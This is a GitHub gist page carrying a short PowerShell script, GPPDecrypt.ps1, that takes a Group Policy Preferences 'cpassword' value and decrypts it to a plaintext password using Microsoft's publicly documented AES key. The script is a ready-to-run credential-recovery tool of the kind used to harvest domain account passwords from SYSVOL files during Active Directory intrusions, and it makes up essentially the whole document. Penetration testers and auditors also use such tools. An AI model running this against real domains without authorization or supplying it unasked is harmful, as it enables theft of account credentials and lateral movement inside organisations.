Skip to content

Instantly share code, notes, and snippets.

@burnnotice

burnnotice/GPPDecrypt.ps1

Forked from andreafortuna/GPPDecrypt.ps1
Created August 9, 2021 19:20
Show Gist options
  • Save burnnotice/141a4e6b2ad20769606355575916ce0f to your computer and use it in GitHub Desktop.
Save burnnotice/141a4e6b2ad20769606355575916ce0f to your computer and use it in GitHub Desktop.
Download ZIP

Revisions

  1. @andreafortuna andreafortuna created this gist Nov 27, 2018.
    43 changes: 43 additions & 0 deletions GPPDecrypt.ps1
    View file
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,43 @@
    param (
    [string]$cpassword
    )

    function Get-DecryptedCpassword {
    [CmdletBinding()]
    Param (
    [string] $Cpassword
    )

    try {
    #Append appropriate padding based on string length
    $Mod = ($Cpassword.length % 4)

    switch ($Mod) {
    '1' {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)}
    '2' {$Cpassword += ('=' * (4 - $Mod))}
    '3' {$Cpassword += ('=' * (4 - $Mod))}
    }

    $Base64Decoded = [Convert]::FromBase64String($Cpassword)

    $AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider
    # Public available AES key on https://msdn.microsoft.com/en-us/library/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be.aspx?f=255&MSPPError=-2147217396
    [Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8,
    0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)

    $AesIV = New-Object Byte[]($AesObject.IV.Length)
    $AesObject.IV = $AesIV
    $AesObject.Key = $AesKey
    $DecryptorObject = $AesObject.CreateDecryptor()
    [Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length)

    return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock)
    }

    catch {
    Write-Error $Error[0]
    }
    }

    $decriptedpassword = Get-DecryptedCpassword $cpassword
    write-host $decriptedpassword